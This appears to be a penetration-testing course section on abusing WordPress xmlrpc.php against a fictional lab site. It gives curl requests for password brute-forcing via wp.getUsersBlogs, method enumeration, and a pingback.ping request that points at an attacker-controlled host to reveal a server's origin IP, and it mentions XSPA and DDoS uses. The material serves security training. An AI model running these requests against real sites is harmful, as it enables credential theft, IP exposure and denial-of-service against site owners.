# Attacking WordPress 'xmlrpc.php'

It is important to note that xmlrpc.php being enabled on a WordPress instance is not a vulnerability. Depending on the methods allowed, xmlrpc.php can facilitate some enumeration and exploitation activities, though.

Let us borrow an example from our [Hacking Wordpress](https://academy.hackthebox.com/module/details/17) module.

Suppose we are assessing the security of a WordPress instance residing in [*http://blog.inlanefreight.com*](http://blog.inlanefreight.com). Through enumeration activities, we identified a valid username, admin, and that xmlrpc.php is enabled. Identifying if xmlrpc.php is enabled is as easy as requesting xmlrpc.php on the domain we are assessing.

We can mount a password brute-forcing attack through xmlrpc.php, as follows.

yovecio@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" <http://blog.inlanefreight.com/xmlrpc.php><?xml version="1.0" encoding="UTF-8"?>  
<methodResponse>  
 <params>  
 <param>  
 <value>  
 <array><data>  
 <value><struct>  
 <member><name>isAdmin</name><value><boolean>1</boolean></value></member>  
 <member><name>url</name><value><string>http://blog.inlanefreight.com/</string></value></member>  
 <member><name>blogid</name><value><string>1</string></value></member>  
 <member><name>blogName</name><value><string>Inlanefreight</string></value></member>  
 <member><name>xmlrpc</name><value><string>http://blog.inlanefreight.com/xmlrpc.php</string></value></member>  
</struct></value>  
</data></array>  
 </value>  
 </param>  
 </params>  
</methodResponse>

Above, you can see a successful login attempt through xmlrpc.php.

We will receive a 403 faultCode error if the credentials are not valid.

yovecio@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>WRONG-PASSWORD</value></param></params></methodCall>" <http://blog.inlanefreight.com/xmlrpc.php><?xml version="1.0" encoding="UTF-8"?>  
<methodResponse>  
 <fault>  
 <value>  
 <struct>  
 <member>  
 <name>faultCode</name>  
 <value><int>403</int></value>  
 </member>  
 <member>  
 <name>faultString</name>  
 <value><string>Incorrect username or password.</string></value>  
 </member>  
 </struct>  
 </value>  
 </fault>  
</methodResponse>

You may ask how we identified the correct method to call (*system.listMethods*). We did that by going through the well-documented [Wordpress code](https://codex.wordpress.org/XML-RPC/system.listMethods) and interacting with xmlrpc.php, as follows.

yovecio@htb[/htb]$ curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" <http://blog.inlanefreight.com/xmlrpc.php><?xml version="1.0" encoding="UTF-8"?>  
<methodResponse>  
 <params>  
 <param>  
 <value>  
 <array><data>  
 <value><string>system.multicall</string></value>  
 <value><string>system.listMethods</string></value>  
 <value><string>system.getCapabilities</string></value>  
 <value><string>demo.addTwoNumbers</string></value>  
 <value><string>demo.sayHello</string></value>  
 <value><string>pingback.extensions.getPingbacks</string></value>  
 <value><string>pingback.ping</string></value>  
 <value><string>mt.publishPost</string></value>  
 <value><string>mt.getTrackbackPings</string></value>  
 <value><string>mt.supportedTextFilters</string></value>  
 <value><string>mt.supportedMethods</string></value>  
 <value><string>mt.setPostCategories</string></value>  
 <value><string>mt.getPostCategories</string></value>  
 <value><string>mt.getRecentPostTitles</string></value>  
 <value><string>mt.getCategoryList</string></value>  
 <value><string>metaWeblog.getUsersBlogs</string></value>  
 <value><string>metaWeblog.deletePost</string></value>  
 <value><string>metaWeblog.newMediaObject</string></value>  
 <value><string>metaWeblog.getCategories</string></value>  
 <value><string>metaWeblog.getRecentPosts</string></value>  
 <value><string>metaWeblog.getPost</string></value>  
 <value><string>metaWeblog.editPost</string></value>  
 <value><string>metaWeblog.newPost</string></value>  
 <value><string>blogger.deletePost</string></value>  
 <value><string>blogger.editPost</string></value>  
 <value><string>blogger.newPost</string></value>  
 <value><string>blogger.getRecentPosts</string></value>  
 <value><string>blogger.getPost</string></value>  
 <value><string>blogger.getUserInfo</string></value>  
 <value><string>blogger.getUsersBlogs</string></value>  
 <value><string>wp.restoreRevision</string></value>  
 <value><string>wp.getRevisions</string></value>  
 <value><string>wp.getPostTypes</string></value>  
 <value><string>wp.getPostType</string></value>  
 <value><string>wp.getPostFormats</string></value>  
 <value><string>wp.getMediaLibrary</string></value>  
 <value><string>wp.getMediaItem</string></value>  
 <value><string>wp.getCommentStatusList</string></value>  
 <value><string>wp.newComment</string></value>  
 <value><string>wp.editComment</string></value>  
 <value><string>wp.deleteComment</string></value>  
 <value><string>wp.getComments</string></value>  
 <value><string>wp.getComment</string></value>  
 <value><string>wp.setOptions</string></value>  
 <value><string>wp.getOptions</string></value>  
 <value><string>wp.getPageTemplates</string></value>  
 <value><string>wp.getPageStatusList</string></value>  
 <value><string>wp.getPostStatusList</string></value>  
 <value><string>wp.getCommentCount</string></value>  
 <value><string>wp.deleteFile</string></value>  
 <value><string>wp.uploadFile</string></value>  
 <value><string>wp.suggestCategories</string></value>  
 <value><string>wp.deleteCategory</string></value>  
 <value><string>wp.newCategory</string></value>  
 <value><string>wp.getTags</string></value>  
 <value><string>wp.getCategories</string></value>  
 <value><string>wp.getAuthors</string></value>  
 <value><string>wp.getPageList</string></value>  
 <value><string>wp.editPage</string></value>  
 <value><string>wp.deletePage</string></value>  
 <value><string>wp.newPage</string></value>  
 <value><string>wp.getPages</string></value>  
 <value><string>wp.getPage</string></value>  
 <value><string>wp.editProfile</string></value>  
 <value><string>wp.getProfile</string></value>  
 <value><string>wp.getUsers</string></value>  
 <value><string>wp.getUser</string></value>  
 <value><string>wp.getTaxonomies</string></value>  
 <value><string>wp.getTaxonomy</string></value>  
 <value><string>wp.getTerms</string></value>  
 <value><string>wp.getTerm</string></value>  
 <value><string>wp.deleteTerm</string></value>  
 <value><string>wp.editTerm</string></value>  
 <value><string>wp.newTerm</string></value>  
 <value><string>wp.getPosts</string></value>  
 <value><string>wp.getPost</string></value>  
 <value><string>wp.deletePost</string></value>  
 <value><string>wp.editPost</string></value>  
 <value><string>wp.newPost</string></value>  
 <value><string>wp.getUsersBlogs</string></value>  
</data></array>  
 </value>  
 </param>  
 </params>  
</methodResponse>

Inside the list of available methods above, [pingback.ping](https://codex.wordpress.org/XML-RPC_Pingback_API) is included. pingback.ping allows for XML-RPC pingbacks. According to WordPress, *a* [*pingback*](https://wordpress.com/support/comments/pingbacks/) *is a special type of comment that’s created when you link to another blog post, as long as the other blog is set to accept pingbacks.*

Unfortunately, if pingbacks are available, they can facilitate:

* IP Disclosure - An attacker can call the pingback.ping method on a WordPress instance behind Cloudflare to identify its public IP. The pingback should point to an attacker-controlled host (such as a VPS) accessible by the WordPress instance.
* Cross-Site Port Attack (XSPA) - An attacker can call the pingback.ping method on a WordPress instance against itself (or other internal hosts) on different ports. Open ports or internal hosts can be identified by looking for response time differences or response differences.
* Distributed Denial of Service Attack (DDoS) - An attacker can call the pingback.ping method on numerous WordPress instances against a single target.

Find below how an IP Disclosure attack could be mounted if xmlrpc.php is enabled and the pingback.ping method is available. XSPA and DDoS attacks can be mounted similarly.

Suppose that the WordPress instance residing in [*http://blog.inlanefreight.com*](http://blog.inlanefreight.com) is protected by Cloudflare. As we already identified, it also has xmlrpc.php enabled, and the pingback.ping method is available.

As soon as the below request is sent, the attacker-controlled host will receive a request (pingback) originating from [*http://blog.inlanefreight.com*](http://blog.inlanefreight.com), verifying the pingback and exposing *http://blog.inlanefreight.com*'s public IP address.

Code: http

--> POST /xmlrpc.php HTTP/1.1   
Host: blog.inlanefreight.com   
Connection: keep-alive   
Content-Length: 293  
  
<methodCall>  
<methodName>pingback.ping</methodName>  
<params>  
<param>  
<value><string>http://attacker-controlled-host.com/</string></value>  
</param>  
<param>  
<value><string>https://blog.inlanefreight.com/2015/10/what-is-cybersecurity/</string></value>  
</param>  
</params>  
</methodCall>

If you have access to our [Hacking Wordpress](https://academy.hackthebox.com/module/details/17) module, please note that you won't be able to exploit the availability of the pingback.ping method against the related section's target, due to egress restrictions.